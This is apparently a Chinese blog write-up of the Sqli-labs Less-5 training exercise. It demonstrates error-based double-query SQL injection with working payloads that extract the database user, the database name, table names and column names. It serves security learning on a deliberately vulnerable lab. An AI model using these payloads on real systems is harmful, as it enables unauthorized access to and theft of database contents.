Sqli-labs Less-5 Double Query- Single Quotes- String

首先弄一个id出来查看有什么显示出来。

显示上面的内容出来。

这个什么提示信息都没有,但是题目提示有双查询和单引号,那可以进行双查询注入。

/sql/Less-5/?id=1' union select 1,count(*),concat_ws(':',(select user()),floor(rand()*2)) as a from information_schema.tables group by a %23

用上面的payload 发送后发现,没有什么效果,和上面显示是一样的,可以试几次就可以得到下面的结果。

这样我们就获取到了数据库的用户,修改上面的payload就可以获取数据库名

/sql/Less-5/?id=1' union select 1,count(*),concat_ws(':',(select database()),floor(rand()*2)) as a from information_schema.tables group by a %23

在接下来数据库名有了就可以查询表名。

/sql/Less-5/?id=1' union select 1,count(*),concat_ws(':',(select table_name from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a %23

这里返回子查询返回不止一行,因为上面没有用limit限制返回结果翻译出现了这个问题,我们可以继续使用limit限制返回结果一条一条的查看数据库中的字段,也可以使用聚合函数group_concat将返回结果聚合为一条结果。

这里先演示一下使用limit的情况

/sql/Less-5/?id=1' union select 1,count(*),concat_ws(':',(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a %23

接下来演示一下,使用聚合函数的情况

/sql/Less-5/?id=1' union select 1,count(*),concat_ws(':',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a %23

获取到数据表之后查询数据表的结构,也就是把数据表的字段名都查出来。

/sql/Less-5/?id=1' union select 1,count(*),concat_ws(':',(select group_concat(column_name) from information_schema.columns where table_name='emails'),floor(rand()*2)) as a from information_schema.tables group by a %23

结束。

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值